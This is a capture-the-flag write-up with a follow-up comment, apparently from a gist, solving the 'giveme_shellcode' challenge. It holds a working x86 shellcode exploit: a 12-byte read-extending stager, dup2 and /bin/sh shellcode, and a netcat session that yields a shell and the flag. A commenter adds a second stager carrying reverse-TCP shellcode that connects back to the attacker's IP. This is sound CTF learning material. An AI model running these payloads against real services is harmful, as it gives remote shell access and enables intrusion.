You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The problem is simple. All we need is "nc" to the server and send the binary shellcode. Once shellcode is accepted, they create a new process by fork() and execute it. Furthermore, we can use "\x00". It sounds easy! But of cource, there are some problems.
80485e6: c7 44 24 08 0c 00 00 movl $0xc,0x8(%esp)
80485ed: 00
80485ee: 8d 45 e4 lea -0x1c(%ebp),%eax
80485f1: 89 44 24 04 mov %eax,0x4(%esp)
80485f5: 8b 45 08 mov 0x8(%ebp),%eax
80485f8: 89 04 24 mov %eax,(%esp)
80485fb: e8 10 fe ff ff call 8048410 <read@plt>
8048600: 89 45 f4 mov %eax,-0xc(%ebp)
8048603: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8048607: 79 0c jns 8048615 <close@plt+0x155>
8048609: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048610: e8 4b fe ff ff call 8048460 <exit@plt>
8048615: 8d 45 e4 lea -0x1c(%ebp),%eax
8048618: 89 45 f0 mov %eax,-0x10(%ebp)
804861b: 8b 45 f0 mov -0x10(%ebp),%eax
804861e: ff d0 call *%eax # exec shellcode!
Problem 1. In 0x80485fb, only 0x0c bytes of my shellcode were read. Others were still waiting for read.
Solution 1.
We can change read()'s size by this shellcode and return to 0x80485fb. Only 10 bytes. (last two "0xc3" is padding)
# 0: 83 2c 24 25 subl $0x25,(%esp) # return address 0x8048620 -> 0x80485fb
# 4: 83 44 24 0c 46 addl $0x46,0xc(%esp) # read 12 bytes -> 82 bytes
# 9: c3 ret
# a: c3 ret
# b: c3 ret
# (read 0x46 + 0xc = 82bytes)
Problem 2. In 0x8048600, "mov %eax,-0xc(%ebp)" broke our shellcode!
Solution 2.
"\xE9\x1B\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\xE9\x1C\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16"
# 0: e9 1b 00 00 00 jmp 0x20
\x06 - \x16 is padding.
Problem 3. I can't use connect-back shell due to our institution's firewall settings.
Solution 3. You can reuse the socket and spawn a shell from there. dup2(?,0) dup2(?,1) dup2(?,2) will make it possible. ? is our socket's file discriptor. It must not be a large number, so try bruteforcing...3 is not correct...oh it's 4.
Here is my final solution.
GMS.py:
---
shellcode = "\x83\x2C\x24\x25\x83\x44\x24\x0C\x46\xC3\xc3\xc3" # first 12 bytes
# 0: 83 2c 24 25 subl $0x25,(%esp)
# 4: 83 44 24 0c 46 addl $0x46,0xc(%esp)
# 9: c3 ret
# a: c3 ret
# b: c3 ret
# (read 0x46 + 0xc = 82 bytes)
shellcode = shellcode + "\xE9\x1B\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\xE9\x1C\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16" # jump to 0x20 bytes & padding
# dup2(?,0) dup2(?,1) dup2(?,2) - 17 bytes
# ? = 4
# http://blog.stalkr.net/2011/04/pctf-2011-22-hashcalc1.html
SC = "\x31\xc9\x31\xdb\xb3\x04\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5"
# /bin/sh - 23 bytes
SC += "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# total 40 bytes
# 32 + 40 < 82
shellcode = shellcode + SC
print shellcode
---
On the terminal:
→$ { python GMS.py; cat; } | nc ctf.katsudon.org 17039
→ls
bin
boot
dev
etc
flag
giveme_shellcode
home
lib
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
→id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
→cat flag
5H3LLC0D3_G0Lf_15_345Y
→exit
FLAG: 5H3LLC0D3_G0Lf_15_345Y
I really enjoyed this problem!
Thanks to @akiym!
@bata_24
This service executes the 12bytes data you sent, so let's write stager.
Send it with shellcode, then you'll get a connect-back shell :)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, time
localip, localport = "your global IP", 80
# linux/x86/shell_reverse_tcp2
shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68"+socket.inet_aton(localip)+"\x66\x68"+struct.pack(">H", localport)+"\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68"+"//sh"+"\x68"+"/bin"+"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
"""
root@Ubuntu64:~/ctf/akictf/giveme_shellcode# cat sc.lst
1 BITS 32
2 00000000 91 xchg ecx, eax
3 00000001 6A03 push byte 0x3 ; eax = NR_read
4 00000003 58 pop eax
5 00000004 6A04 push byte 0x4 ; ebx = fd
6 00000006 5B pop ebx
7 00000007 6A7F push byte 0x7f; edx = size
8 00000009 5A pop edx
9 0000000A CD80 int 0x80
"""
stager = "\x91\x6A\x03\x58\x6A\x04\x5B\x6A\x7F\x5A\xCD\x80"
f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
f.connect(("ctf.katsudon.org", 17039))
f.send(stager)
time.sleep(1)
f.send("\x90"*12 + shellcode)